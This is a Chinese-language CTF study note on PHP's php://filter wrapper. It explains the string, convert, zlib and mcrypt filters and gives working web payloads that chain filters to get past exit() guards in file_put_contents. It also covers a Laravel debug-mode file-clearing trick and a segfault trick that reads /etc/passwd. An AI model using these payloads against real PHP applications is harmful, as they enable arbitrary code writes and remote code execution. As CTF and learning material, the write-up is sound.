php://filter过滤器学习记录

前言

众所周知,文件包含常与php://filter一起出现,虽然出现的多,但是payload的组合也就那么几种,所以我并没有怎么去了解过。不过最近在复现Laravel mode debug漏洞时phar反序列化RCE的姿势也用到了php://filter且对其过滤器的作用需要有一定的理解,因此就诞生了这篇学习笔记。

介绍

引用官方手册

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

Trick

1、嵌套多个过滤器实现过滤器组合拳

例题:[WMCTF 2020]check in 2

1
php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=tyskill.php

2、内部可嵌套一层参数

例题:[BSidesCF 2020]Had a bad day

1
php://filter/convert.base64-encode/woofers/resource=index # woofers即为嵌套的协议名

3、遇到不认识的过滤器php只会报个warning,不会终止运行

过滤器

参考: 官方手册 可用过滤器列表 探索php://filter在实战当中的奇技淫巧

大纲

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 字符串过滤器
string.rot13       //rot13转换
string.toupper     //将字符大写
string.tolower     //将字符小写
string.strip_tags  //去除空字符、HTML和PHP标记后的结果

# 转换过滤器
convert.base64-encode       //base64编码
convert.base64-decode       //base64解码
convert.quoted-printable-encode //quoted-printable编码
convert.quoted-printable-decode //quoted-printable解码
convert.iconv                   //实现任意两种编码之间的转换

# 压缩过滤器
zlib.deflate       //压缩过滤器
zlib.inflate       //解压过滤器
bzip2.compress     //压缩过滤器
bzip2.decompress   //解压过滤器

# 加密过滤器
mcrypt.*    //加密过滤器
mdecrypt.*  //解密过滤器

字符串过滤器

string.rot13

(自 PHP 4.3.0 起)对字符进行简单的单表替换,将字母表的后13位字母替换前面的13位字母,遇到其他的字符直接跳过。

string.toupper、string.tolower

(自 PHP 5.0.0 起)字符串大小写转换

string.strip_tags

string.strip_tags返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。本特性已自 PHP 7.3.0 起废弃

注意:HTML标签和 PHP 标签<?代码?>也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。

转换过滤器

convert.base64-encode

对给定字符串进行base64编码

convert.base64-decode

对给定base64编码内容解码

注意:

1、base64解码时是4bytes一组,因此将目标字符解码成乱码时需手动添加字符凑够4的倍数

2、convert.base64-decode过滤器读文件时会将一些非base64字符给过滤掉后再进行decode,和一些过滤器组合可以用来删除文件内容

convert.quoted-printable-encode

将 8-bit 字符串转换成 quoted-printable 字符串

8-bit字符串:10000000~11111111,即ASCII值在128~255之间的字符串

quoted-printable 字符串:=十六进制形式,如=42为B

convert.quoted-printable-decode

将 quoted-printable 字符串转换为 8-bit 字符串

注意:可以转化从=00到=FF,即ASCII值从0~255之间的字符串

convert.iconv

字符串按要求的字符编码来转换

使用格式:convert.iconv.当前编码.目标编码

支持的编码方式

* 表示该编码也可以在正则表达式中使用。 ** 表示该编码自 PHP 5.4.0 始可用。

压缩过滤器

zlib.deflate压缩、zlib.inflate解压

自 PHP 5.1.0 起,在激活 zlib的前提下可用。也可以通过安装来自 » PECL» zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用

相对于压缩封装协议可以在本地文件系统中 创建 gzip 和 bz2 兼容文件,但不可以在网络的流中提供通用压缩的意思,也不可以将一个非压缩的流转换成一个压缩流。压缩过滤器zlib.*可以在任何时候应用于任何流资源

注意: 压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

bzip2.compress、bzip2.decompress

自PHP 5.1.0 起,在激活 bz2支持的前提下可用。也可以通过安装来自 » PECL» bz2_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中不可用。

工作方式与上面相同

加密过滤器

mcrypt.*、mdecrypt.*

mcrypt.*mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()

过滤器参数

参数 是否必须 默认值 取值举例
mode 可选 cbc cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir 可选 ini_get('mcrypt.algorithms_dir') algorithms 模块的目录
modes_dir 可选 ini_get('mcrypt.modes_dir') modes 模块的目录
iv 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定
key 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定

这里只是做个了解,代码中使用可以参考文章,传参的话不知道咋用emm

应用

死亡exit()

参考: file_put_content和死亡·杂糅代码之缘 关于file_put_contents的一些小测试 LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION

概念都了解得差不多了,接下来就是实际应用了,在CTF中有一种十分有效的理解php://filter的题型:死亡exit()(个人叫法),所以下面会通过这个来理解各种过滤器及过滤器搭配的效果。

所谓死亡exit()就是在写入文件的内容前面添加exit()函数提前结束运行,我们需要做的就是通过过滤器让php识别不到exit()从而执行我们写入的代码。

示例代码

1
2
3
4
5
6
7
8
<?php
$filename = $_GET['file'] ?? "";
$content = $_GET['content'] ?? "";
// 情况1
file_put_contents($filename, "<?php exit();".$content);
// 情况2
file_put_contents($content, "<?php exit();".$content);
?>

说明:情况2与情况1不同之处在于content既可以作为内容,也可以作为写入文件名,且使用php://filter时写入内容会由于//符号被注释掉(//符号一般不在正常编码的符号表中),因此这种情况下的payload需要处理一下。

单一过滤器

下面payload都省略了write参数,因为在使用file_put_contents函数时会自动使用write参数。

情况一

payload1string.rot13

条件:short_open_tag=off

?file=php://filter/string.rot13/resource=tyskill.php&content=<?cuc cucvasb();

payload2convert.base64-decode

如上面介绍所说,base64解码是4bytes一组,而<?php exit();满足base64符号表的只有七个字符,因此需要在插入的base64编码字符串前面添加一个字符凑满4的倍数。

?file=php://filter/convert.base64-decode/resource=tyskill.php&content=xPD9waHAgcGhwaW5mbygpOw==

payload3convert.iconv.*

<?php exit();字符一共13位

# usc-2: 对目标字符串进行2位一反转
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php&content=tyskill?<hp phpipfn(o;)
# usc-4: 对目标字符串进行4位一反转
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php&content=tyskill?<hp phpipfn(o;)
情况二

与上面的payload大致相同,无非就是将写入内容嵌套进过滤器内部,由于php遇到不认识的过滤器只是报个warning,不会终止运行,所以写入内容能跟着payload进入文件。

payload1string.rot13

条件:short_open_tag=off

此时由于//的注释效果,我们需要添加%0a换行从而执行php代码

?content=php://filter/string.rot13|%0a<?cuc cucvasb();/resource=tyskill.php

convert.base64-decode不能使用,原因如下:

base64中=字符起到一个填充的作用,也是结束的标识,如果在=后面还存在字符则会解码失败,即使这里省略了write参数的=,resource的=仍然无法省略。所以这种既作为文件名又作为文件内容的无法使用单一base64解码解决。

payload2convert.iconv.*

<?php exit();字符一共13位

# usc-2: 对目标字符串进行2位一反转
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|tyskill?<hp phpipfn(o;)/resource=tyskill.php
# usc-4: 对目标字符串进行4位一反转
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|tyskill?<hp phpipfn(o;)/resource=tyskill.php

过滤器组合拳

由于string.strip_tags可以将php标签<?...?>及其内容全部删除,因此只要使用编码将<?php phpinfo();?>隐藏,那么它可以作为一种万金油搭配(php<7.3.0)

注意: 1、不要忘了写入内容时添加?>终止删除效果 2、由于情况二的payload都是从情况一的payload修改而来,因此二的payload理所当然适用于一。

情况一

payload1string.strip_tags|convert.base64-decode

条件:php<7.3.0

?file=php://filter/string.strip_tags|convert.base64-decode/resource=tyskill.php&content=?>PD9waHAgcGhwaW5mbygpOw==

payload2string.strip_tags|convert.quoted-printable-decode

条件:php<7.3.0

?file=php://filter/string.strip_tags|convert.quoted-printable-decode/resource=tyskill.php&content=?>=3c=3f=70=68=70=20=70=68=70=69=6e=66=6f=28=29=3b

payload3LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION提出的清空文件再写入操作

原理和上面也差不多,就是通过转换编码然后利用过滤器convert.base64-decode删除文件内容从而写入我们自己的🐎(这个方法需要的过滤器有点多,正常情况下不需要用到。。。)

该姿势没办法用于情况二(可能是我没发现怎么用

1、准备🐎(正常来说清空文件那步CTF中用不到)

echo "<?php phpinfo();?>" | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

2、写入文件并删除干扰字符(a补足4位base64解码需求)

?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=tyskill.php&content=a=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=7A=00=38=00=2B=00=43=00=67=00=3D=00=3D=00

这样剩下的就是我们自己的🐎了

payload4(失败):zlib.deflate|string.tolower|zlib.inflate

报错信息:Parse error: syntax error, unexpected '@' 写入内容:<?php@?xit();<?php@phpinfo();

这写入内容看着就不像能成功的样子吧。。。也不知道啥条件下能解析成功

?file=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=tyskill.php&content=<?php+phpinfo();
情况二

payload1string.strip_tags|convert.base64-decode

条件:php<7.3.0

之前的写入失败是由于resource后面的=导致解码失败,借助string.strip_tags的删除效果我们可以通过php标签删除=。

?content=php://filter/string.strip_tags|convert.base64-decode|?>PD9waHAgcGhwaW5mbygpOw==<?/resource=tyskill.php

payload2string.strip_tags|convert.quoted-printable-decode

条件:php<7.3.0

原理同上

?content=php://filter/string.strip_tags|convert.quoted-printable-decode|?>=3c=3f=70=68=70=20=70=68=70=69=6e=66=6f=28=29=3b<?/resource=tyskill.php

payload3convert.iconv.*|convert.base64-decode

通过convert.iconv.*的编码转换也可以消除=,不过这里和上面使用string.strip_tags不同的是这里需要考虑到payload本身字符的长度是否满足base64解码的需求

<?php phpinfo();?>编码为PD9waHAgcGhwaW5mbygpOz8+,前面添加的aa是为了补上前面58位长的base64字符,后面只要添加=(几个无所谓)就可以成功(原因我也不是很清楚

?content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOz8+=/resource=tyskill.php

payload3(失败):zlib.deflate|string.tolower|zlib.inflate

除了上面出现过的@无法运行问题,还出现了新的问题:内容加了<?就写不进去,不加又不能解析。。。

?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|%0a<?php phpinfo();/resource=tyskill.php

其他

segment fault

参考: PHP LFI 利用临时文件 Getshell 姿势

php7在使用string.strip_tags过滤器时会发生Segment Fault,此时上传的文件会以临时文件的形式被保存在/tmp目录下,Linux的临时文件名是六位,Windows是四位,可以爆破。

注意,上传文件要与string.strip_tags同时发生

条件:7.0.0 <= PHP Version < 7.0.28

例题:[NPUCTF2020]ezinclude

payload

1
php://filter/string.strip_tags/resource=/etc/passwd